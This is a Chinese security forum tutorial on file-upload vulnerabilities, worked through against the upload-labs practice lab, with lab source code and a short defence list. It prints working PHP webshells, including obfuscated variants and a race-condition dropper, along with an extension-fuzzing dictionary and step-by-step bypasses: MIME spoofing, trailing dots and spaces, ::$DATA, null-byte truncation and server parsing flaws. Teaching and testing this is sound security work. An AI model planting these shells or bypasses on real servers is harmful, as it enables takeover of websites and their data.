用户
搜索

[web安全] 文件上传篇

  • TA的每日心情
    开心
    4 天前
  • 签到天数: 21 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋-脚本小子

    Rank: 2

    6

    主题

    9

    帖子

    383

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-11-4
    发表于 2021-5-22 17:01:13 01057

    一、文件上传功能

    1.1 文件上传功能简介

    文件上传功能是大部分WEB应用的必备功能,网站允许用户自行上传头像、一些社交类网站允许用户上传照片、一些服务类网站需要用户上传证明材料的电子档、电商类网站允许用户上传图片展示商品情况等。然而,看似不起眼的文件上传功能如果没有做好安全防护措施,就存在巨大的安全风险。

    image-20210309144630530

    1.2 文件上传流程

    ​   如果WEB应用在文件上传过程中没有对文件的安全性进行有效的校验,攻击者可以通过上传WEBshell等恶意文件对服务器进行攻击,这种情况下认为系统存在文件上传漏洞。
    一个文件上传的一般流程:

    image-20201115191622264

    客户端代码:

    <form action="upload.php" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" onchange="selectFile(this)" /> 
    <br />
    <input type="submit" name="submit" value="submit" />
    </form>

    标签解释如下:

    • form标签是客户端用于向服务端提交表单数据
    • label标签是用来修饰input标签的,用于在文件上传位置前显示Filename这个文本内容
    • input标签的作用取决于type属性,若属性值为text,则是一个普通文本框,若是file则可以进行上传文件

    默认情况下,表单传递是字符流,不能传递二进制流,通过设置表单的enctype属性传递复合数据。

    enctype属性的值有:

    1. application/x-www-form-urlencoded:【默认】,表示传递的是带格式的文本数据。
    2. multipart/form-data:复合的表单数据(字符串,文件),文件上传必须设置此值
    3. text/plain:用于向服务器传递无格式的文本数据,主要用户电子邮件

    服务器接受文件:

    服务端在接收到客户端发送的数据时,会先生成临时文件,在判断上传的文件是否合规,若符合规则,则将临时文件移动到服务端所指定的文件夹中,若不符合规则,则抛出错误。

    以下介绍一下超全局变量$_FILES和一些与文件上传相关的配置,有利于后面我们做代码审计。

    ​   超全局变量$_FILES是一个二维数组,用来保存客户端上传到服务器的文件信息。二维数组的行是文件域的名称,列有5个。

    1. $_FILES[]['name']:上传的文件名

    2. $_FILES[]['type']:上传的类型,这个类型是MIME类型(image/jpeg、image/gif、image/png)

    3. $_FILES[]['size']:文件的大小,以字节为单位

    4. $_FILES[]['tmp_name']:文件上传时的临时文件

    5. $_FILES[]['error':错误编码(值有0、1、2、3、4、6、7)

      错误描述
      0 正确
      1 文件大小超过了php.ini中允许的最大值    upload_max_filesize = 2M
      2 文件大小超过了表单允许的最大值
      3 只有部分文件上传
      4 没有文件上传
      6 找不到临时文件
      7 文件写入失败

    与文件上传有关的配置

    • post_max_size = 8M:表单允许的最大值
    • upload_max_filesize = 2M:允许上传的文件大小
    • upload_tmp_dir =F:\wamp\tmp:指定临时文件地址,如果不知道操作系统指定
    • file_uploads = On:是否允许文件上传
    • max_file_uploads = 20:允许同时上传20个文件

    二、命令执行函数

    2.1    PHP简介

    PHP: Hypertext Preprocessor(PHP: Hypertext Preprocessor)

    通用开源脚本语言,主要适用于Web领域,服务器端脚本语言

    • PHP 能够生成动态页面内容
    • PHP 能够创建、打开、读取、写入、删除以及关闭服务器上的文件
    • PHP 能够添加、删除、修改数据库中的数据

    php文件代码编写格式:

    <?php
        # 此处为php代码
    ?>

    2.2    PHP命令执行函数

    • system(): 输出并返回最后一行shell结果
    • passthru(): 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上
    • 其他的命令执行函数:Exec()、 Shell_exec()

    例如:

    <?php
        echo system('whoami');
    ?>

    执行结果如下:

    image-20210309150023153

    2.3    Eval函数

    ​   Eval:把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。

    <?php
         $str= "echo 'C1ay';echo 333+333;";
         echo $str;
         echo "<br/>";
         eval("$str");
    ?>

    运行结果:

    image-20210309150228417

    由此我们可以发现,eval函数成功执行了php代码,因此我们便可以通过eval函数来构造一句话木马。

    三、一句话木马原理及利用

    3.1    小马和大马的区别

    ​   最常见利用文件上传漏洞的方法就是上传网站木马(webshell)文件,WEBSHELL又称网页木马文件,根据开发语言的不同又分为ASP木马、PHP木马、JSP木马等,该类木马利用了脚本语言中的系统命令执行、文件读写等函数的功能,一旦上传到服务器被脚本引擎解析,攻击者就可以实现对服务器的控制。

    名称 一句话木马(小马) 大马
    功能 功能简单,需要配合客户端使用 功能完善,直接使用浏览器即可利用
    大小 代码量通常在一行左右,不超过10行 代码量通常较大
    隐蔽性 强,容易通过变形隐藏特征,绕过过滤 相对较弱,代码量大,通常需要通过加密等方式来隐藏特征。

    以下为小马页面:

    image-20210309150801397

    image-20210309150856920

    以下为大马页面:

    image-20210309150508049

    3.2    一句话木马介绍

    已我们最熟悉的一句话木马为例:

    <?php
        eval($_GET['v']);
    ?>
    • Eval函数将传入的内容作为php脚本执行;
    • $_POST['v']传入想要执行的代码;
    • v是传递数据的参数,只有使用正确的参数名提交代码才能够被执行,因此也称为一句话木马的密码;

    3.3    php一句话木马简单变形

    1、用assert函数代替eval函数

    原理:assert函数在php中也能够执行php代码,可以通过.进行拼接,chr函数是用于将ascii数值转化为字符的

    <?php
        $a = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);  #assert
        $a($_GET['v']);
    ?>

    2、通过script语句编写一句话

    原理:通过修改scirpt标签的language属性,可以执行php代码

    <script language="php">
        assert($_GET['v']);
    </script>

    3、通过可变变量

    原理:$$a-->$bb-->assert-->assert($_POST['d'])

    <?php
    $bb="assert";
    $a="bb";
    $$a($_POST['d']);
    ?>

    4、通过函数

    preg_replace第一个参数加上e修饰符时,第二个参数会被当作代码执行

    <?php
    @preg_replace("/abcde/e", $_POST['a'], "abcdefg");
    ?>

    还有一些参数也能达到这个目的,例如: call_user_func回调函数、array_map函数、create_function函数等。以后会有个篇章专门来介绍代码注入。。

    四、文件上传攻击思路及利用

    4.1 文件上传测试思路

    ​   由于上传WEBSHELL是对文件上传漏洞最有危害的利用方式,因此文件上传漏洞的测试的主要目标就是测
    试能否通过文件上传功能上传webshell并成功执行。
    ​   稍有经验的开发者都知道对文件上传功能进行一些限制, 防止用户上传网页木马文件,但是如果开发者没
    有使用有效的限制手段,往往不能很好的阻止攻击者上传木马文件。判断应用对文件上传的限制手段并尝
    试进行绕过是文件上传漏洞测试的主要环节。

    ​   常见流程如下:

    image-20201115193043170

    ​   以下是常见的限制手段和绕过限制手段进行上传攻击的方式:

    image-20210309160149803

    4.2 客户端校验绕过

    ​   客户端检测最典型的方式就是JavaScript检测,由于JavaScript在客户端执行的特点,可以通过修改
    客户端代码或先上传符合要求的文件再在上传过程使用BURP等工具篡改文件等方式来绕过。

    测试环境:upload-master

    项目地址:https://github.com/c0ny1/upload-labs

    4.2.1)绕过方式

    方式一:抓包修改文件的后缀名

    具体流程如下:

    1,上传文件,并抓取数据包,将jpg后缀修改为php后缀即可

    image-20210309164110684

    2,通过F12打开审查工具,可以发现文件上传的路径

    image-20210309164317592

    3,通过菜刀或者蚁剑连接即可

    image-20210309164541770

    方式二:将源代码复制到本地,删除JS代码即可

    具体流程如下:

    1,在本地创建一个html文件,将源码复制到该html文件中

    image-20210309164850064

    2,删除用于校验的JS代码

    image-20210309164944629

    3,为form表单添加action属性值,

    image-20210309165222478

    4,双击html文件,上传shell即可。

    image-20210309165329169

    image-20210309165401366

    5,通过菜刀蚁剑连接即可,此处便不多做演示了。

    4.2.2)源代码分析

    // 定义一个 checkFile函数,用于校验上传文件的后缀名
    function checkFile() {
        // 获取文件名,存放在file变量中
        var file = document.getElementsByName('upload_file')[0].value;
        // 判断文件名是否为空
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name + "|") == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }

    4.3 MIME类型绕过

    ​   MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。标准的文件上传组件中会自动上传文件的MIME类型,但是由于MIME类型是从客户端传递的,修改也不影响文件正常运行,因此通过BURP拦截和修改MIME类型可以轻易绕过此类检测。

    常见的MIME类型:

    超文本标记语言文本 .html text/html
    普通文本 .txt text/plain
    RTF文本 .rtf application/rtf
    PDF文档 .pdf application/pdf
    PNG图像 .png image/png
    GIF图形 .gif image/gif
    JPEG图形 .jpeg,.jpg image/jpeg
    ASP .asp application/x-asap

    更多MINE类型

    4.3.1)绕过方式

    通过修改mime类型即可实现绕过

    具体流程如下:

    方法一:

    上传一个php文件,抓包修改content-type字段的值即可。

    image-20210309170805264

    结果如下:

    image-20210309171046789

    方法二:

    上传一张图片马,修改后缀名即可

    image-20210309171317387

    结果如下:

    image-20210309171354335

    访问shell文件即可。

    image-20210309172315312

    4.3.2)源代码分析

    $is_upload = false;
    $msg = null;
    # 判断文件上传正常提交
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            # 依次判断上传文件文件的MINE类型是否与定义的类型相匹配
            if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
                # 若匹配成功,则获取临时文件的名字,并定义文件存放的路径
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']                        # 将临时文件移动到定义的存放路径下
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '文件类型不正确,请重新上传!';
            }
        } else {
            $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
        }
    }

    4.4 拓展名过滤绕过

    ​   正常情况下如果用户上传的木马文件不是以响应的脚本文件扩展名上传的,则无法正常运行,达不到控制网站服务器的目的。然而,如果对文件扩展名检测的实现方式不当的话仍然存在风险。

    ​   文件扩展名检测通常分为黑名单检测和白名单检测两种,黑名单指事先设定好不允许上传的文件扩展名(通常是各类脚本的扩展名),如果上传文件的扩展名与黑名单匹配则不允许上传,白名单则是事先设定好允许上传的文件扩展名(根据业务需求,通常是图片等),只有上传文件的扩展名与白名单匹配才允许上传。

    4.4.1)绕过方式

    ​   不常见的扩展名:程序员在设置黑名单时通常会添加一些常见的脚本文件扩展,但是对于一些不常见的扩展名则有可能被忽略,这些扩展名可以正常被解析达到与木马相同的效果。例如: PHP3、PHP4、PHP5、 PH、CER、CDX、 ASA等。(配置漏洞)

    ​   扩展名大小写绕过:如果程序员在编写黑名单的时候没有考虑到扩展名的大小写问题,则可以通过扩展名的大小写来绕过黑名单检测机制。常见案例:PHP、PhP、pHp……

    可以在httpd-conf配置文件中查看

    image-20201115211358552

    将一下常用的后缀名和不常见的拓展名整合到一个字典中(字典中包含后缀名的大小写形式,及双写形式),通过burpsuite爆破即可,也可以使用网站别人已经整理好的字典文件fuzzDicts

    字典如下:

    asp
    asa
    cdx
    cer
    php
    aspx
    ashx
    jsp
    php3
    php.a
    shtml
    phtml
    ASP
    ASA
    CDX
    CER
    PHP
    ASPX
    ASHX
    JSP
    PHP3
    PHP.A
    SHTML
    PHTML
    Asp
    Asa
    Cdx
    Cer
    Php
    Aspx
    Ashx
    Jsp
    Php3
    Php.a
    Shtml
    Phtml
    pphphp
    aaspsp

    具体流程如下:

    1,上传文件,抓取数据包并发送到intruder模块

    image-20210309174341378

    2,配置攻击方式,和需要进行爆破的参数

    image-20210309174512715

    3,载入字典文件,开始攻击即可。

    image-20210309175801293

    可以通过length返回值判断后缀是否被过滤

    这里我们用phtml为例:

    image-20210309180358445

    文件成功上传,可以成功执行。

    image-20210309180432285

    4.4.2)源代码分析

    #定义黑名单
    $deny_ext = array('.asp','.aspx','.php','.jsp');
    #将传入的文件名全部转换为小写,因此无法使用大小写过滤
    $file_ext = strtolower($file_ext); //转换为小写
    #判断上传的后缀名是否在数组中,如果存在则定义文件存放路径,若移动,若不存在则报错。
    if(!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
                if (move_uploaded_file($temp_file,$img_path)) {
                     $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
    }

    4.5 特殊符号绕过

    ​   在windows环境下,文件扩展名如果以小数点或空格结尾,在保存时系统会自动去除这些符号,因此可以通过在上传的文件扩展名后加入小数点或空格来绕过黑名单限制。

    ​   在php+windows的情况下:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名

    4.5.1)绕过方式

    方式一:通过小数点绕过

    具体流程:

    1、上传文件,抓取数据包,在拓展名后添加上小数点

    image-20210309182246505

    2、验证上传文件是否可以被成功解析

    image-20210309182521216

    文件被成功解析,说明可以通过添加小数点进行突破上传

    方式二:通过空格绕过

    具体流程:

    1、上传文件,抓取数据包,在拓展名之后添加空格

    image-20210309182905307

    2、验证上传文件是否可以被成功解析

    image-20210309182941642

    文件被成功解析,说明可以通过添加空格进行突破上传

    方式三:通过小数点和空格组合绕过

    具体流程

    1、上传文件抓取数据包,通过测试小数点和空格的组合进行绕过

    image-20210309183720630

    2、验证上传文件是否可以被成功解析

    image-20210309183812973

    文件被成功解析,说明可以通过添加空格和小数点的组合进行突破上传

    方式四:通过::$DATA进行绕过

    具体流程:

    1、抓取数据包,在文件名后添加::$DATA进行绕过

    image-20210309184142598

    2、验证上传文件是否可以被成功解析

    image-20210309184242953

    文件被成功解析,说明可以通过添加::DATA进行突破上传

    4.5.2)源代码分析

    方式一:

    // 定义过滤的黑名单
    $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
    $file_name = trim($_FILES['upload_file']['name']);
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    $file_ext = trim($file_ext); //首尾去空
    if (!in_array($file_ext, $deny_ext)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = '此文件类型不允许上传!';
    }

    分析源码发现为未滤小数点,因此可以通过使用小数点突破上传

    方式二:

    $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
    $file_name = trim($_FILES['upload_file']['name']);
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    $file_ext = trim($file_ext); //首尾去空
    
    if (!in_array($file_ext, $deny_ext)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = '此文件类型不允许上传!';
    }

    分析源码发现未过滤空格,因此可以通过使用小数点突破上传

    方式三:

     $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
    $file_name = trim($_FILES['upload_file']['name']);
    $file_name = deldot($file_name);//删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    $file_ext = trim($file_ext); //首尾去空
    
    if (!in_array($file_ext, $deny_ext)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = '此文件类型不允许上传!';
    }

    分析源码,发现只进行了一次小数点和空格的过滤,没有进行递归。因此可以通过小数点和空格组合进行绕过。

    方式四:

     $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = trim($file_ext); //首尾去空
    
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }

    分析源码发现未对::$DATA进行过滤,因此可以绕过

    4.6 双文件上传绕过

    ​   双文件上传是一种特殊的攻击方式,该类型的攻击主要是利用程序员在编写白名单检测机制时没有考虑到一次性上传多个文件的情况下,检测机制的不完整性来进行上传攻击。

    ​   通常可以通过修改html页面的方式来实现一次上传多个文件,其中第一个文件为正常的文件,第二个文件为webshell文件,服务端在校验了第一个文件通过后,检测机制对第二个文件失效,使得webshell文件上传成功。

    4.6.1)绕过方式

    具体流程:

    1,同时上传两个文件,第一个文件是正常文件,第二个文件是shell文件。

    image-20210309202135426

    2,查看文件是否被成功解析

    image-20210309202229813

    解析成功,说明可以通过双文件上传突破

    4.6.2)源代码分析

    <!DOCTYPE html>
    <html>
        <head>
            <meta charset="UTF-8">
            <title></title>
        </head>
        <body>
            <form method="post" enctype="multipart/form-data" action="http://upload.moonteam.com/upload_10.php">
                filename1<input type="file" name="file">
                filename2<input type="file" name="file">
                <input type="submit" value="上传"/>
            </form>
        </body>
    </html>

    有些程序只会对第一个上传的文件进行验证,导致可以在第二个文件中上传任意文件。

    4.7 截断绕过

    ​   0x00截断∶在许多语言的函数中,比如在C、PHP等语言的常用字符串处理函数中,0x00被认为是终止符。攻击者通常会利用该字符构造特殊的后缀名或目录来绕过白名单的限制。比如应用原本只允许JPG上传,攻击者修改POST包,构造文件名为xx.php[/0]JPG,[/0]为16进制的0x00字符,.JPG绕过了应用的上传文件类型判断;但是对于服务端来说,由于有0x00字符,认为中止了,最终会认为读取的是xx.php文件。
    1、若文件名可控制,可以尝试构造类似于1.asp\x00.JPG的方式来进行绕过白名单检测机制;
    2、若文件路径可控制,可以尝试构造文件路径为1.asp\x00,文件名为符合白名单的扩展名的方式来进行绕过白名单检测机制;
    3、若PHP版本php版本小于5.3.4且php的magic_quotes_gpc为OFF状态时,可用%00来代替\x00实现文件上传的绕过。
    ​   冒号截断:冒号(“:”)是一个在系统中不能作为文件名的符号,在文件保存时会自动截断冒号后面的内容,但是某些文件保存函数中没有对其处理,可以尝试构造类似于1.php:1.jpg的文件绕过白名单检测。

    4.7.1  GET%00绕过

    查看代码,发现会将url上的地址拼接到文件名中,可以尝试通过%00绕过

    条件截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态

    image-20201110210203130

    image-20201110210546643

    image-20201110210617178

    image-20201110210800907

    4.7.2  POST%00绕过

    方法同11关一样,只是方法换为了POST

    image-20201110213229679

    因为POST不会对%00解码,因此需要修改16进制,手动解码

    image-20201110213351959

    image-20201110213041982

    4.8 文件解析漏洞绕过

    ​   对于IIS6.0而言,若文件目录名以.ASP或.ASA等脚本文件扩展名形式结尾,则该文件目录下的所有文件都会被当做ASP文件解析,因此如果上传功能允许用户自定义上传的文件路径,则可以通过将文件路径设置为以.ASP结尾的形式进行攻击,此时即使上传的网页木马文件符合扩展名白名单仍会被作为脚本解析。例如将文件路径设置为/1.asp/,文件名为1.jpg,此时访问/1.asp/1.jpg,1.jpg会被当做ASP文件解析。

    ​   在IIS6.0的环境下,分号以后的内容在解析过程中会被忽略,因此如果上传类似于1.php;1.jpg形式的网页木马文件,会被当做php文件解析。

    ​   apache在解析文件时如果遇到无法识别的扩展名,将会从后向前解析,直到碰到认识的扩展名为止,
    如果扩展名白名单中包含Apache无法解析的扩展名(以.7z为例),则可以构造类似于:1.php.7z这样的文件名进行上传,由于7z文件Apache无法解析,Apache最终会将该文件作为PHP脚本解析。

    ​   在IIS 7.0/IIS7.5/Nginx <=0.8.37的环境下,在一个文件路径(/xx.jpg)后面加上/x.php会将/xx.jpg/x.php解析为php文件。

    4.8.1)绕过方式

    方式一:通过IIS6.0目录解析漏洞绕过

    具体流程:

    1,上传文件抓取数据包,上传目录可控,因此可以使用目录解析漏洞进行绕过

    image-20210309210512775

    2,验证上传文件是否可以被成功解析

    image-20210309210821839

    通过蚁剑成功连接,因此可以通过目录解析漏洞突破上传

    方式二:利用IIS6.0文件解析漏洞绕过

    具体流程:

    1,构造名为test.asp;.jpg的shell文件,并上传即可

    image-20210309211616805

    2,验证上传文件是否可以成功解析

    image-20210309211640845

    通过蚁剑成功连接,说明可以通过IIS6.0文件解析漏洞突破上传

    方式三:利用apache解析漏洞绕过

    具体流程:

    1,查看上传点,发现允许上传7z文件

    image-20210309211959342

    2,上传文件,抓取数据包,构造名shell.php.7z的文件,修改MIME类型

    image-20210309214301297

    3,验证上传文件是否可以成功解析

    image-20210309214724072

    文件成功被解析执行,说明可以通过apache解析漏洞突破上传

    方式四:利用IIS7.0/IIS7.5/Nginx特定环境解析漏洞绕过

    具体流程如下:

    1、上传文件,抓取数据包

    image-20210310215842186

    发现服务端是nginx+php,猜测可能存在解析漏洞

    2、在上传的文件后加入/x.php,观察图片是否会被当作php文件进行解析

    image-20210310220055625

    发现图片可以被成功解析,因此可以通过nginx突破文件上传,iis7.x与nginx情况相类似

    4.9 通过图片马绕过文件检测

    4.9.1  图片马简介

    1、图片马的利用场景

    • 当攻击者手上获取到一个网站存在上传点,但是上传做了限制,不能进一步利用。但却发现该站存在本地文件包含漏洞。攻击可以通过构造图片马进行上传,在结合本地文件包含漏洞执行图片马中的木马,从而可以导致攻击者获取到webshell。
    • 还有一种情况是用来绕过内容检测,针对文件头和文件内容的检测有白名单和黑名单两种方式。因此,攻击者可以通过在图片中插入恶意代码,或者插入关键函数被混淆过的恶意代码来构造图片马进行内容检测的绕过。

    2、文件检测技术

    • getimagesize()函数:
      用于获取图像大小及相关信息,成功返回一个数组,失败则返回FALSE并产生一条E_WARNING级的错误信        息。要绕过该函数必须要做到不影响原本的图片,如下所示:
    GIF89a(..some binary data...)<?php phpinfo(); ?>(...skipping the rest of binary data ...)
    • 文件加载检测:
      一般是调用的API或函数去进行文件加载测试,常见的是图像渲染测试。

    3、图片马的制作

    • 方式一:通过edjpgcom工具制作图片马

      image-20210310222301331

    • 方式二:通过cmd代码将php文件与图片捆绑

      copy test.jpg/b+shell.php hack.php

      /b表示已二进制读取

      image-20210310222915539

      hack.jpg即为我们所构造的图片马

    4.9.2  绕过方式

    具体流程:

    1、查看页面,发现可能存在同时存在文件上传和文件包含漏洞

    image-20210310223722381

    2、上传制作好的图片马

    image-20210310223801730

    3、通过包含上传的图片马获取shell.

    4.10    条件竞争

    ​   一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含WebShel|脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差(因为要执行检查文件和删除文件的操作),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。
    攻击者先上传一个WebShell脚本10.php, 10.php的内容是生成一个新的WebShel脚本shell.php, 10.php的代码如下所示。

    <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["test"])?>');?>

    1、上传文件,抓取数据包

    image-20210522164540917

    2、将数据包发送到repeater模块,配置参数

    image-20210522164746616

    image-20210522164802443

    3、这时候可以发现shell文件成功创建

    image-20210522164835151

    4、使用蚁剑成功连接即可

    image-20210522164854085

    五、文件上传的防护

    • 对上传的文件的扩展名和文件报头信息在服务端与白名单对比,不符合白名单的不予保存。
    • 上传过程不应传递目录或文件路径,使用预先设置路径列表中的匹配索引值,严禁泄露文件绝对路径。
    • 对文件进行重命名,使用随机性好的文件目录和文件名进行保存。
    • 上传文件的临时目录和保存目录不允许执行权限。
    • 有条件时可将保存在内容服务器或者数据库中。
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册